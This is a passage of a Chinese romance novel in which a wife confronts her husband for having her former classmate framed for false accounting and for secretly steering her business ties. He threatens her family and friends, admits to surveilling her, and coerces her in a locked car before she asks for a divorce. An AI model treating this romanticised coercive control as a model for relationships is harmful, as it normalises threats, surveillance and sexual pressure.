顾衍南瞳眸骤然一缩,眸底晦暗复杂。
落针可闻的卧室,两人四目相对。
良久,顾衍南喉结滚了滚:“是。”
“为什么不告诉我?”
男人抿唇,沉默。
温夏望着他的脸:“我姑且当你顾及我的自尊心,是想帮我才这么做,我还有件事想问你,如果误会你了,我提前道歉。”
顾衍南面无表情,眼神不动声色冷下去:“你问。”
温夏深吸一口气,她知道,这事如果她不问清楚,心底会一直有根刺,扎的谁都不好受。她咽了咽嗓子:“我今天下午接到电话,说高行舟被检察院的人带走了,是你做的吗?”
顾衍南眯起眼,笑了下:“怎么会想到我?有什么证据吗?”
“不是的话,你可以否认,我会道歉。”温夏直勾勾盯着他。
她了解他,他那么傲慢的人,不屑在任何事上说谎。
死寂般的沉默在两人之间蔓延。
僵持了不知道多久,顾衍南唇间溢出一个字:“是。”
没有任何情绪的“是”,只是在回答她的问题。
温夏闭了闭眼,她已经不想问为什么,平静道:“我和他当年并没有谈过恋爱,只是传言,这次一起吃饭并不是只有我们俩,还有其他人,不告诉你是因为——”
顿了顿,她淡道:“我不想他重蹈裴霖和林沨的覆辙。”
提到这两个人,顾衍南的眼睛暗了一瞬。
她低垂着眼皮,继续道:“你高抬贵手放过他吧,他是无辜的——”
话没说完,不知道哪个词戳到他的怒点,原本面无表情的脸突然沉了下来,顾衍南冷声打断她:“他无辜?你怎么就肯定他是无辜的?”
全天下的人都是好人,都是无辜的,就他一个恶人,所以她连证据都没有就怀疑他。是他做的没错,但不代表她连证据都没有就能来质问他。
质问他也就算了,还在维护别的男人,还跟他扯什么没有谈过,没谈过全校人都知道?就算没谈成也暧昧过!
顾衍南面色铁青,冷笑:“他一点也不无辜,不信的话你自己去查,看看到底他有没有做假账。”
他的语气笃定,温夏的脑子里突然闪过什么,瞳眸骤然缩了一下:“是你设局让人引诱他做假账的?”
“是我干的,”顾衍南舔了舔唇,眼神森冷,“混了这么多年还只是个小职员,我看他过得太艰难想帮帮他,但任何帮助都是有代价的,我给他比原来多十倍的年薪,他心里清楚这钱不好拿,有一多半是给他背黑锅的补偿,是他心甘情愿,拿钱的那一刻他就该料到会有今天的后果。”
他抬腿,朝她逼近,眼神阴沉,语气却很温柔:“宝贝儿,他并不无辜,不过是个利欲熏心的俗人,我帮你检验了一下你前……朋友的人品,让你看清他的真面目,免得他利用你欺骗你伤你的心,你不该感谢我吗?”
感谢?
他的话荒唐到温夏不知道该做什么反应,她扯了扯嘴角,颤声问:“你背地里还‘帮’我做了什么吗?”
“帮”字,被她咬的很重。
顾衍南脚步未停,淡声问:“顾太太,你真的都想知道吗?”
温夏紧绷一整晚的情绪突然崩盘,连呼吸都在发抖。
她头一次意识到,眼前的这个人有多恐怖。
这个平时和她吵吵闹闹的男人,让她自以为他们已经渐渐和很多寻常夫妻一样,有事是能沟通解决的男人,原来背着她做了这么多的事。
暖黄的卧室灯光落在皮肤上,她却遍体生寒。
如果有一天,她站在他的对立面,她的下场,绝不会比那些人好到哪去。
为她好!为她好!为她好!她一点也不觉得好!
睫毛不停颤抖,她的眼眶慢慢染上红,看着他一步步逼近。
顾衍南在床边坐下,冰凉手指抚上她的面颊,温夏别过头,他的手落了空。
“别碰我。”她冷声,嗓子有些沙哑。
顾衍南顿了顿,扣着她的下巴,把她的脸转了回来,迫使她必须看他,语气仍是很淡:“顾太太,你不能拒绝我。”
温夏看着他,语气嘲弄:“怎么,你是打算对付我大哥,还是把我关进监狱?”
“我怎么可能把你关进监狱,那谁来陪我一起遛狗?”他的手指用力,防止她咬自己的唇,“不过——”
停顿片刻,他笑了笑,“如果你不愿意让我碰的话,我会考虑你前一个提议,毕竟——”
“啪”的一声,男人的脸微微偏了过去,清晰的五指印在脸上。
第36章 把翡翠手镯和戒指取下
清脆的巴掌声打断顾衍南的话, 卧室的气压陡然降至冰点。
这不是温夏第一次打他巴掌,活了三十年,连老爷子动怒都从没打过他的脸, 她却一而再再而三扇他巴掌, 好像他的脸皮不值钱似的。
他果然还是太纵容她。
顾衍南像是被巴掌打的冷静下来,他松开扣着她下巴的手,舌尖抵了抵被她打的脸颊,起身,居高临下地看着她。
“这巴掌我不跟你计较,只要你乖乖的,不跟我闹, 我不会闲的去对付你哥。”
他不跟她计较?
温夏怒极反笑:“如果我不乖呢?”
顾衍南看着她眼中的嘲讽,薄唇微微抿起,五官的轮廓线条也紧紧绷着。
他不明白她为什么会因为这件事动这么大的怒,当初让沈琴舒故意接近她, 把两家的利益绑在一起, 是因为他得知, 她逐渐取消和顾氏有关的所有合作。
他不喜她和他分的太清,没有利益的捆绑束缚,这样她随时都能离开, 至于感情——
她对他应该是有那么点感情的,但这点感情太脆弱,脆弱到经不起任何变动,他就会被她轻易抛开。
十多年前的事给了他经验, 床伴是一段说断就能断的关系,夫妻关系虽然有法律做背书,但也并不稳固, 他习惯未雨绸缪,这一次不可能让十多年前的事重现,所以他要让两家的利益盘根错节地交织在一起,这样等她再想抛开他时,会有所顾虑。
她做事总是用脑子比用心多,哪怕真有那么一天,她看在利益的份上,会说服和他绑死在一起。
这明明是一件双赢的事,她为什么会这么生气?是因为这样的话她就不能轻易摆脱他了吗?
还有高行舟,他不过是让威廉稍加引诱,是高行舟自己抵不住诱惑,如果他一辈子留在美国,不跟她见面,他不介意高薪养着这个废物,就当做慈善了。
可他偏偏回国了,跟她见面,还一起吃饭!
而她什么都不告诉他。
如果不是他一直让人监视她,这事他永远不会发现。
原本他只想着把高行舟弄回美国,威廉打电话来说,高行舟准备辞职留在国内,这代表他们以后会经常见面。
瞒着他,偷偷见面。
保不齐哪天旧情复燃。
为了他的家庭和谐,还是让高行舟去监狱里待着吧。
她已经松口,答应和他生个宝宝,但因为高行舟的事他们又吵架了,她已经很久没有发这么大的火,这次——因为高行舟,她又生他的气了。
她就是一只养不熟的白眼狼,因为别的男人就不让他碰她,对他说难听的话,还打他巴掌。
反正在她眼里,他就是十恶不赦的坏人,既如此,就按照他的意愿来吧。
“顾太太,你一定要我把话说得明明白白吗?”他居高临下地看着她的眼睛,“话说的太直白,会很刺耳。”
“你瞒了我这么多事,我现在只想听明白话,哪怕刺耳。”
顾衍南的眼神变暗,淡淡道:“明白话就是,我让你乖你就只能乖,如果你非要跟我闹的话,我会用我自己的方式达到让你乖的目的,你觉得我要是出手对付温氏,你那个刚从监狱里出来的大哥,能撑得住多久?”
温夏的瞳孔骤然一缩。
“除了温氏,你在意的人也不少,你的哥哥妹妹,你那个戴眼镜的学长,还有你的好闺蜜,让我想想,从谁开始好呢?”
感觉到她身体的僵硬,顾衍南的语气缓了缓:“当然,这些都是建立在你不乖的前提上,只要你乖乖的,我什么都不会做,我会像这一年多一样,对你好。”
温夏仰脸看着他。
“这一年多,我们相处得挺好的,你不是过得也很开心吗?我们一起吃饭一起睡觉,一起遛狗,你要什么我都能给你,今晚的事你就当没发生,我们还和以前一样,怎么样?”他用的是商量的语气,却难掩话中的威胁。
她看着他的眉眼,温淡深沉,是她熟悉的模样,但却让她觉得陌生恐惧。
实话听起来果然刺耳。
这一年多,她确实过得很开心,可以说是她从小到大过得最美好的一段时间,美好的像一场梦,她比任何人都不希望梦醒。
但既然是梦,早晚有一天都会醒来。
心中像是扎满密密麻麻的针,尖锐的刺痛蔓延到全身每一根神经,她不该任由自己沉溺的,此刻心痛的感觉,糟透了。
命运馈赠的礼物都有代价,如果没有那一年多愉快的相处,她肯定不会像现在这么难受。
人果然不能违背理智做决定,她人生中唯二的不理智,都用在他身上,也都尝到了什么叫自食恶果。
激烈上涌的情绪慢慢平息下来,但不是安抚的效果,而是身体长期训练形成的条件反射。
她该和他离婚的,不能再待在他身边,她会变得痛苦,但她该怎么提?他今晚这番话,已经说得足够直白,她如果做出让他不高兴的事,他会拿她在乎的人开刀。
就像当年对梁从音下手一样。
她丝毫不怀疑他说到做到。
他话说的难听,但都是事实,大哥在监狱待了这么久,早已不是顾衍南的对手,他如果动怒,她身边的人都会遭殃。
太糟了,她惹到了一只疯狗。
温夏全身被一股强烈的无力和茫然席卷,这让她本能地想躲到一个没人的地方慢慢思考接下来的路该怎么走。
“你去洗澡吧。”她生硬地结束话题。
顾衍南眯了眯眼:“你不跟我闹了?”
“嗯。”没什么好闹的,闹又解决不了问题,她该做的是想到解决办法。
应完,她又想到高行舟的事,最后问了一遍:“你能高抬贵手放过高行舟吗?他如果因为我进监狱,我会愧疚。”
顾衍南冷漠道:“不能。”
温夏没什么意外,“我知道了。”
顾衍南等着她的下文,但她没提,只是道:“你去洗澡吧,我先睡了。”
-
“砰”的一声,浴室门关上。
温夏紧绷的神经松弛下来,出神地想,她需要在他洗完澡之前睡着,这样就能不用立刻面对他。
她很想待在没有他的房间,但不管她去哪儿,他没在卧室看见她,会挨个房间找她,不可避免会有新一轮的争吵。
她没有力气折腾,先这样吧,明天再说。
于是她把灯关了,只留了他那边的一盏小夜灯,然后把被子拉过头顶,侧身面向阳台,闭上眼睛。
半分钟后,她睁开眼,看着左手手腕上的翡翠玉镯,还有无名指上的戒指。
戒指是他生病那天,他趁她睡着给她戴上去的。
两个圆圈,一大一小,就像两把手铐。
只是戴了太久,她已经习惯了。
习惯也是个很糟的东西,潜移默化中把不适变成适应,再到最后的难以戒掉。
温夏盯着左手看了几秒,掀开被子,踩着拖鞋去衣帽间,把翡翠手镯和戒指都取下,放回珠宝台里。
……
顾衍南从浴室出来,看到的就是她单薄的背影,心脏莫名缩了下,他快步走到床边,上床,从身后抱住她。
温夏没睡着,她吃了几粒褪黑素,但效果不佳,还是没能在他出来前睡着觉,但她实在不想理他,只好装睡。
可惜她不是专业演员,顾衍南一眼便发觉她没睡着,抱着她的力道紧了紧,低声问:“你生气了吗?”
她每次生气,就会背对着他睡,不理他。
温夏闭着眼睛,好像什么也没听到。
顾衍南的眸色暗下去,力道又一寸收紧,“我知道你没睡,说话。”
他真的太烦了,她生不生气,又不会改变什么,是她生气他就能放过高行舟,还是能把威胁她的话收回去?不会,她如果和他针锋相对,他只会更强势地逼迫她。
她以为这一年多他在慢慢改变,事实证明是她想多了。
他永远不会变,永远是那副高高在上的强势姿态。
温夏没有正面回答,只是疲倦地道:“我困了,想睡觉。”
顾衍南眼神更暗,扣着她的腰将她翻身和他面对面,半强势半妥协道:“睁眼,陪我聊五分钟再睡。”
温夏很想说“别烦我”,但想想这句话肯定会引起更持久的争吵,而她现在没有一丁点的力气和他吵架。
权衡一番,她睁开眼,语气平静地问:“你说吧。”
她的态度和语气同样的平静,好似他们刚才没有争吵过。
顾衍南双眸紧锁着她的眼睛,盯着她良久,缓声道:“刚才我的话有一多半都是气话,你不要放在心上,我不会对你家人做什么的,你可以放心。”
“嗯。”
“让沈琴舒接近你,跟温氏合作,我是想帮你,但我知道你不会接受,才暗中这么做的。”
“嗯。”
顾衍南看着她冷淡的模样,提了口气:“至于高行舟,只要你答应再也不跟他来往,我会考虑放过他。”
“好,谢谢你。”
他们这一年多不是没吵过架,他这幅姿态已经算得上服软了,虽然他不认为自己有什么错,但她不开心,他服个软也没什么。
比起和他争吵,他更不喜她的冷漠。
就像现在,她明明被他抱在怀里,却好像之间有一道她设置的无形的屏障,将他阻隔在外。
顾衍南的喉结滚了滚,亲了亲她的额头,嗓音温柔得像情人间的低喃:“别生气了,好不好?”
“嗯,”温夏问他,“我能睡了吗?”
顾衍南喉咙一紧,他听到自己沙哑的声音:“你又要不理我了吗?”
第37章 是不是他做什么,她都不……
温夏眼神平静地看着他:“我在理你。”
他问什么她答什么, 她哪有不理他?
顾衍南:“……”
知道她在刻意回避他的问题,顾衍南没有逼她回答,轻轻捏了捏她的手指, 嗓音温柔到极致:“有什么不高兴的你可以直接告诉我, 不要憋在心里,难受的是你自己,嗯?”
温夏的心脏毫无缘由地抽了一下。
她知道自己的性格是有问题的,她不会处理矛盾,因为她几乎不会和人有冲突,细想活了近三十年,吵架的经历都是顾衍南给的。
去年, 她得知他背着她把林沨“劝”到海南,当时两人爆发了一场激烈的争吵,事后,他也像现在这样服软, 那时候她的心中就响起警铃——她该慢慢抽离了, 但最终还是没有。
说不上是因为他的软硬兼施, 还是因为……不舍。
她很少会把她和顾衍南的事告诉外人,那次她很苦恼,就简略地告诉祁源, 因为学长生活在一个和谐健康的家庭中,很擅长处理亲密关系。
祁源当时给她的建议是,他们应该开诚布公地把这件事严肃地谈一谈,她要把自己不满的地方说出来, 换取他“不会再犯”的保证和解决方案。
这对温夏来说无疑是困难的,以往她遇到不满的事,都是直接解决让她不满的那个人。
可顾衍南显然不是她随意能解决的, 她认真思考许久,认为祁源说得有道理,她应该克服心理障碍,所以她鼓起勇气把林沨的事和他从头到尾掰扯清楚,她说她不想他背着她做一些让她不舒服的事,就好像身后随时站着一个人,不知道是会在你跌倒时扶你一把,还是猝不及防地捅你一刀。
他当时答应过她不会再犯,可依旧我行我素。
接纳一个人完全地侵入她的生活,对温夏来说本就是一件极为困难的事,她努力克服心理障碍,她以为他也在改变,可他只是在哄骗她。
说不定哪天,又会曝出一个她不知道的雷。
往后不过是无限重复“林沨”那件事。
他只是说得好听,实际上根本不会改,他的性格就是如此,无法用单纯的好坏形容。
或许他需要的是一个可以全心全意包容他顺从他的顾太太,而她注定无法做到。
现在尚有新鲜感,等再过几年,就只剩下互相折磨,到渐行渐远,再到相看两厌。
她必须要抽离,现在还不算太糟,至少她还没有陷到离不开他的地步,至少他们没有孩子,不需要让孩子来承担他们这对父母的不成熟。
不想指责他什么,也不想和他争吵,温夏轻声说:“睡吧。”
说完,她闭上眼睛,在他怀里翻了个身,背对着他。
昏暗光线下,顾衍南看着她纤瘦的背影,有种想把她掰回来接着“吵”的冲动。
念头一出,眼前闪过她疲倦冷淡的表情,还是作罢。
他承认,事情他做的有点过,话说的也有点难听,但他的出发点并没有错。
她会想通的,就像之前无数次那样。
他们早就绑死在一起了,她除了想通,没有别的选择。
谁叫她在他生病的时候去而复返,谁叫她嫁给他,谁叫她勾他睡觉,是她自找的,她不能怪他。
她最好尽快想通,他可以像之前那样好好对她,不然他只能用他的方式让她想通。
顾衍南的目光沉了沉,抬手,将夜灯关掉。
卧室陷入了黑暗。
他从背后抱住她,力道收紧,似是只有这样,才能确保她在他怀里。
嗅着她身上好闻的柠檬香,烦躁的心暂时安定下来,沉沉睡了过去。
-
顾衍南是突然惊醒的。
下意识低头,怀中的女人还在睡觉,微不可觉地松了口气。
她还在。
瞥了眼时间,七点了,顾衍南揉了揉眉骨,轻轻掀开被子。
轻手轻脚走进洗手间,洗漱完,下楼做早餐。
温夏这一觉睡得很浅,在他刚下床她就醒了,只是没睁眼。
她还没想好该怎么办。
睁眼看了会天花板,她摸到手机,翻了翻未读信息。
她的交际圈很小,除了工作上的信息,只有梁从音和温诗会和她分享生活琐事。
梁从音的头像在上面,温夏先点开她的。
梁从音:[宝贝你说这两件婚纱,哪款更适合我?]
半夜两点半发来的,她的作息一向昼夜颠倒,熬夜选婚纱再正常不过。
温夏点开两张图片,认真比对:[第二款吧,和你婚礼的主题更搭。]
没想到梁从音这个点还在,秒回:[可是我们家祁总监说我穿第一款更好看诶。]
温夏:“……”
所以为什么要问她?
温夏回她一长串省略号。
梁从音:[乖啦,我活了三十年,第一次遇到真正的爱情,你要允许我恋爱脑。]
梁从音和温夏的生长经历是比较像的,但两人的性格却大相径庭,温夏内敛,梁从音外向,温夏习惯自我屏蔽,努力不让自己深陷泥潭,梁从音却是必须要燃尽所有的心力才肯放弃。
在祁源之前,她有过几段感情,正经的不正经的,但祁源绝对是她最上心的。事后,温夏听她说,在祁源和她分手那段时间她有多难过,所以她一往无前地把人追回来,哪怕祁源推开她一次又一次,还是坚持下来。
这对温夏来说是不可能的,别说被拒绝还追,她就不可能主动追人,再喜欢也不可能。
她会选择慢慢消耗她的难过,形成抗体,直至不再难过。
聊了会,梁从音随口问了句:[今天不是你们家顾大公子三十岁生日么,你的画画完了吗?想好用什么形式送给他了吗?]
按照计划,她会给他挑一套衣服,画中的男人就穿着她挑的这身衣服,站在夕阳下,静静凝视某个方向。她计划下午六点多把他喊到楼下,在庭院里揭开这幅画,这样言言也可以见证。
或许她会说点什么平时不敢说的话。
也不知道引线在他生日前一天烧到尽头是好是坏。
温夏没回这句,岔开话题。
梁从音那边困得实在撑不住了,聊了会直接消失。
“醒了?”
温夏正要看温诗给她分享的帖子,突然响起顾衍南的声音。
她的身体顿了下,想了想,还是坐了起来。
细微晨光,她的长发落在脖子里,身形单薄而清瘦。
顾衍南抬腿走进卧室,站在床尾看她:“醒了就下床洗漱,我做了早餐。”
熟悉的语气,好像昨晚什么都没发生。
温夏靠在床头,眉眼在微冷光线下衬得格外安静,她抬眸看向他,嗓音淡哑:“你先吃,我等会儿下去。”
她还愿意吃他做的饭。
顾衍南的语气缓了缓:“我等你。”
温夏眉头微微皱了下,轻声说:“我还想睡个回笼觉,昨晚没怎么睡好。”
想到解决方案之前,她不想再和他接触,更不想和他吵架,能躲则躲。
顾衍南抿起薄唇,眉眼笼罩着一层阴戾,是发火的前兆。
但他忍住了,不想把她逼得太急。
昨晚她肯定生气了,没睡好也正常。
“睡吧,粥在保温锅里,你醒了后吃点。”顾衍南妥协。
温夏低垂着眼皮:“嗯。”
“我上午有个会要开,结束就回来,”他知道她肯定不会主动提他的生日,于是自顾自道,“我们去外面吃吧,你想吃什么?”
温夏慢慢躺下去:“我要睡了。”
她没打算和他一起吃饭,她要去陪温诗,用这个借口,给她几天缓冲期。
顾衍南的脸色已经可以用阴沉来形容,他强忍着才压下把她从被窝里拎出来的冲动。
他们现在的关系已经很糟了,不能再糟下去。
于是他喉结滚了滚,调试成温和的声调:“睡吧。”
估计他今天真有事,说完就从卧室离开,温夏等了十几分钟慢慢起床,下床洗漱。
沿着旋转楼梯一路往下,别墅内寂静无声。
厨房隐约飘来粥香,温夏动作一顿,没有改变方向,换完鞋出门。
临走前,她给言言喂了狗粮,并给张婶发了短信,说自己要去陪妹妹玩几天,嘱咐她照顾好言言。
发完短信,言言已经吃完饭,直往她裤腿上蹭。
温夏摸了摸它的脑袋,若有所思地想,离婚后,他能把言言给她吗?
她要怎么才能要到言言的抚养权?
她从不养宠物,一是觉得麻烦,二是宠物的寿命太短,她不想经历离别。
可言言自从来到家里,就一直是她亲自照顾的,她几乎每晚都要带着它去公园玩。
她不想把言言让给他。
他工作这么忙,经常有应酬,没法陪言言玩,言言会抑郁。
“汪!”言言突然叫了下,牙齿咬住她的裤腿。
温夏回神,拍了下它的脑袋,“怎么了?”
“汪汪!”言言松嘴,有些焦躁地绕着她打圈转。
温夏轻轻摸它的头,承诺:“我不会不要你,我会努力争取你的抚养权……”
顿了下,她垂下眼皮,补充,“就算没争取到,我会经常来看你的。”
言言似乎能感知到什么,特别粘她,温夏陪它玩到张婶上班才走。
她开车,先去了她的公寓,在书房待了快两个小时,看了眼时间,估摸着温诗该醒了,给她打电话。
温诗刚醒,声音还有点哑:“姐你快来吧,我让阿姨送了好多新鲜的菜,我们煮火锅吃吧,你在楼下的超市买点麻酱,家里好像没有了。”
温诗作为家喻户晓的大明星,出去吃顿饭得从头伪装到脚,她嫌麻烦,也怕姐姐不自在,往往会在家里吃。
温夏:“我半个小时左右到。”
正在温诗公寓楼下买麻酱时,她接到顾衍南的电话。
本不想接,但担心不接他会发疯,还是接了。
本以为他是回到家发现她不在,兴师问罪的,温夏已经做好承受他怒火的准备,没想到他有事不回来了:“sorry,公司有急事要处理,我晚点才能回去。”嗓音低沉沙哑,染上几分疲倦。
大概是事情和她预料的不同,温夏愣怔片刻,回道:“嗯,你忙吧。”
“我下午会尽早回去,中午想吃什么,我让人送。”
“不用,”她结束话题,“你去忙吧,工作重要。”
大约他是真的忙,只“嗯”了声,就挂断电话。
顾氏集团地下停车场。
顾衍南站在阴冷的车库,周遭的气压与车库的低气压几乎要融为一体,冷沉到骇人。
他看向车旁给女朋友解释道歉的周之恒,同样是被放鸽子,为什么周之恒的女朋友这么生气,她却……这么善解人意。
是不是他做什么,她都不会在意?
-
温诗的厨艺技能无限接近于零,便由温夏来做,好在煮火锅比较简单,备完菜煮个锅底就行。
吃饭的时候,大部分时间都是温诗在说,她本就是小话痨,在外人面前还得担心哪句话没说对,被有心人听到传了出去直接塌房,但在姐姐面前,她肆意很多。
温夏静静听着。
九月的天气,吃火锅实在不是个好的选择,好在室内有充足的冷气,温诗叽叽喳喳地说个不停,火锅热气蒸腾,冲淡她身上的冷清空寂。
“姐,我跟你说,”温诗夹起一根贡菜,“妈她昨晚给我打电话说要和我一起吃饭,我想了想拒绝了。”
“为什么?”
温诗把贡菜送到嘴里,表情苦恼:“我也不知道,可能是上次她因为要见别的人,放了我鸽子,不过这不是主要原因,我就觉得吧,我们的母女关系一直是我在努力维系,她不怎么上心,每次都是我在约她,她还经常推三阻四的,好累啊。”
关于和黎女士的关系,温砚和温夏的态度一致,小时候没有的东西长大也不需要。温夏不知道怎么安慰妹妹,只道:“你觉得怎么心里舒服就怎么选。”
温诗咬着筷子思索一会儿,“随便吧,反正这么多年没有她我不是照样好好长大了,她愿意要我这个女儿我就去,不愿意就拉倒吧。”
脑袋不聪明有不聪明的好处,温诗很少会把什么事放心上,很快便把这个话题带过去,聊起剧组里的趣事和糟心事。
饭后,温诗要温夏陪她对台词,温夏不想一个人待着,便拿着台词本,用没有情绪的机械音照着读。
温诗:“姐!你读的有感情一点嘛!抑扬顿挫!男主跟女主说‘我爱你’怎么可能是这幅语气?这幅语气还想要老婆呢,他做梦去吧!”
温夏:“……”
她尝试用有感情的声音朗读。
温诗:“你要再浓烈一点!再激动一点!脸上的表情最好也丰富一点!”
温夏:“……”
她努力尝试更浓烈,更激动,表情也更丰富。
温诗终于满意:“就是这样!姐你不愧是高材生!”
“……”
陪她对了一整个下午的台词,温夏被男主角的台词尬到头皮发麻,温诗却很有信念感地念完一大段让人起鸡皮疙瘩的台词,甚至还能哭出来。
温夏盯她看了半天,点评道:“你能拿到最佳新人奖,看来靠的不只是脸。”
温诗骄傲道:“我的演技可好了,早晚有一天我会靠着自己拿到影后!”
温夏看着妹妹坚定的目光,眉眼染上浅淡的笑意。
温诗很早就确定未来要做什么,以拿最佳女演员奖作为三十岁之前的目标,未来的目标是尝试各种类型的角色,明明在家骄纵任性,在剧组特别能吃苦,打戏从来都是亲自上。
而她……
温夏发现她真没什么特别热爱的。
她最初选择画画不过是这是一个比较安静的职业,她不用和别人沟通。
也没有把拿到什么奖项取得什么成就当成目标,放弃也不觉得会怎样。
温诗今年二十六岁,入行十二年,一次又一次与最佳女演员失之交臂,总是差那么一点点,偏偏固执得不许任何人背地里动用关系。
对想要的求之不得。
而她,她求无可求。
不知道该要什么,想要什么。
因为午饭吃的晚且多,晚饭姐妹俩决定不吃了。
温诗对完台词,去舞蹈房练舞,温夏百无聊赖,打开电视,看温诗上的综艺。
看着看着,开始出神,想该怎么让顾衍南松口离婚。
她从温诗的话中得到启发,如果她对他越来越坏,他早晚会觉得她没意思。
她本来就不是个有意思的人,应该用不了多久。
正想着,突然,手机一震。
温夏低头看去。
是顾衍南的电话。
她想了想,还是接了,准备告诉他她要在温诗这里住几天。
某高档小区楼下,黑色宾利的驾驶座。
顾衍南坐在车里,望着路边来往的行人,点燃一根烟。
与此同时,电话接通。
双方一致保持沉默。
几秒后,还是顾衍南先开的口:“什么时候回家?”
他听到女人冷淡的声音:“我在诗诗家,她回北城了,我陪她住几天。”
顾衍南微微眯起眼,回以同样平淡的语气:“今天是我三十岁生日,你答应过陪我。”
电话那头的人沉默了。
胸口的郁气不断上涌,让他浑身充斥着压不住的躁意。她说要睡回笼觉,但他前脚刚走,后脚她就下楼,宁愿逗小蠢狗玩都不愿意陪他吃饭,他煮的粥她一口没喝,动都没动,明明她最爱喝他煮的粥。
还要陪她的巨婴妹妹住几天,是打算跟他分居吗?
早上他妥协一次,却换来了她的变本加厉。
他这次再妥协,让她在温诗家住,她是不是干脆就再也不回去了?
再也不回去……
顾衍南心头掠过一丝慌乱,目光一寸寸冷了下去。
“我在你妹妹的公寓楼下,别让我等太久。”
撂完这句话,他挂断电话。
温夏听着“嘟嘟”声,他那近乎威逼的语气,让温夏在温诗的陪伴下,好不容易好起来的心情瞬间跌入谷底。
她不想下去,但是不行,她丝毫不怀疑她如果不下去,他会上来敲门,不开门的话,强行把门打开的事,他也是能做到的。
温夏烦躁地揉了揉头发,而后起身,去和温诗说晚上要回去陪顾衍南——
她不希望她和顾衍南的事,波及到她的家人。
温诗嘟了嘟嘴,很是不满:“好吧好吧。”
她一贯是不喜欢那个占有欲太强的姐夫的,总是和她抢姐姐,而她还总是抢不过他。
但这一年多,姐姐脸上的笑容越来越多,温诗知道这是顾衍南的功劳,便很是成熟懂事地让一让他。
温夏从公寓楼出来,一眼看到停在路边的黑色轿车。
天已经开始暗了,男人靠在车上,指间夹着烟,青白烟雾漫过他的面容,隔着朦胧的烟雾。
他在看她。
温夏手指紧了紧,踩着高跟鞋朝他走去。
走到车旁,顾衍南绕到副驾驶,给她开车门。
温夏抿唇,弯腰上车。
顾衍南绕回主驾驶,踩下油门。
一路无言,温夏越来越心慌,一种对未知的慌乱。
单看他的表情——面无表情。
温夏有种不好的预感。
车子开到庭院里,温夏解开安全带,去拉车门,突然,“咔哒”的暗锁声,让她的眼皮一跳。
她的身体顿了顿,回头看他,“怎……”
刚出了字音,整个人就被抱到他的大腿上,下一刻,他扣着她的后脑,薄唇压了下来,将滚烫的气息灌入她口中。
不知道是因为这个吻太猝不及防,还是此刻他身上的侵略感太强,让温夏看着他没有任何情绪的脸,有种说不出的心慌,头皮阵阵发麻。
她挣扎着推他:“顾衍南,你干什么!”
男人眸中染上几分玩味,语调轻描淡写:“不明显么,你啊。”
“你!”
顾衍南用力咬了下她的唇,近在咫尺的距离,看着她有些慌乱无措的眼神,语气轻佻:“今天是我的生日,你不是说过我想怎么做都行?我想在车里做,我们还没在车里做过吧?”
温夏身体一僵:“顾衍南,你——”
“怎么,你前两天亲口说的,忘记了?”他用舌尖轻轻描摹她的唇形,明明是温柔至极的动作,却让温夏神经颤栗。
他知道她做的是什么打算,是想着一步步疏远他么?
他不会给她这个机会。
哪怕是争吵,骂他,打他,至少她的情绪在为他波动,而不是那张死人脸。
温夏用力推他,“顾衍南你放开我!”
她不想和他争吵,不想和他闹矛盾,只想平和地解决这件事,但他总是能击碎她的底线。
顾衍南扣住她的手腕,正要开口,视线突然被吸引住——
他的目光迅速冷了下来,沉声质问:“你的手镯和戒指呢?”
第38章 “我要离婚。”
按照温夏的计划, 她打算先从他身边一步步抽离,等他觉得她没意思,“厌恶”她, 然后再提离婚。
到时候会很好离。
她看不透顾衍南对她什么感情, 但她很清楚,顾衍南是不打算轻易放过她的。
他三令五申、威逼利诱,就差直说她敢提离婚,就让她在乎的人为她的决定付出代价。
温夏承认,她不敢激怒他,他就是只疯狗,发疯到处乱咬, 所以她只能选择缓兵之计。
但顾衍南不是傻子,他一眼就看穿她的用意,明晃晃地告诉她这招行不通。
事已至此,再装也没意义了。
温夏看着空荡荡的手腕, 昨晚摘下后, 总感觉不习惯, 今天时不时就要看一眼。只戴了一年多,就会这么不习惯,如果戴的更久, 是不是她就不想摘了?
温夏垂下眼皮,抿了抿唇,平静地道:“我要离婚。”
顾衍南身体募地一震,五官轮廓逐一僵住, 低眸看着女人漆黑清澈的眸子,菲薄的唇抿到泛白。
他对这句话并不意外,潜意识中, 隐隐察觉到她做这些举动的意图。
这枚手镯,当时她就不乐意戴上,是他强逼着她戴的,包括这枚戒指,也是趁着她熟睡时,他戴在她手上,她醒来后发觉,没说什么不戴的话。
半逼半哄,他强求她做了许多她不愿做的事。
也许是过了太久,他们这一年多相处得又那么愉快,经历了太多的事,他渐渐忘记,他们之间最开始只是利用和强求。
如今他对她来说,已经没有利用价值了,所以他们只是吵了一架,她就能跟他提离婚。
还是说,她一直在等这个契机?一个她可以顺理成章摆脱他的契机。
车内光线昏暗,他脸上其实没有什么波澜,只是攥着她手腕的力道不受控制,掐得温夏手骨隐隐泛痛。
“能轻点吗?”温夏蹙起眉,看向自己的手腕。
顾衍南顺着她的视线看过去,力道陡然一松,冷白肌肤上烙下深深浅浅的指痕。
他喉结滚了滚,正要开口,温夏打断他:“让我先说吧。”
她以一种非常暧昧的姿势坐在他的大腿上,谈论的话题却是离婚。深吸一口气,她缓声道:“做出离婚的决定,我不是头脑发热一时兴起,也不是仅仅因为昨晚的事,我只是意识到我们俩不合适在一起生活。”
顾衍南冷冷地看着她:“哪里不合适?长眼睛的看到我们哪个不说我们般配?床上更不用说了吧,哪次你不是高潮迭起?”
温夏的脸色也冷了下去:“我在跟你说正经的,你看我们磨合了一年多,还总是争吵,上次,林沨那件事,你明明答应过我不会再这么做,可是你只是在哄我,你的保证在我这里已经失了信誉——”
见他脸色阴沉,她改口,“不过,这不是你的问题,是我的问题。”
顾衍南眯起眼,冷声重复:“你的问题?”
“是,”温夏咽了咽嗓子,“我这个人的性格从小到大都不怎么好,身边能算得上朋友的也就梁从音一个,对我来说和另一个人亲密相处是件很困难的事,是我没法全心全意地信任你包容你迁就你,你应该选一个能无条件接受你的妻子,她说不定会喜欢上你无孔不入的‘帮助’。”
顾衍南冷嗤了声:“温夏,你少给我阴阳怪气。”
她当他听不出来,她在嘲讽他难伺候。
温夏自认自己挺诚恳的,她真这么想的,如果换成一个深爱他的妻子,会无条件迁就他,说不定会把他过于变态的掌控欲当成安全感。
而她做不到。
他们之间的信任感太薄弱,经不起一丁点的波折。
“我没有讽刺你的意思,我真这么觉得,”温夏深吸一口气,提到关键的问题,“你放心,我心里清楚得很,我嫁给你是我高攀你们顾家,这两年我明里暗里因为顾太太的头衔获得的利益不计其数,我不会厚脸皮分你财产。”
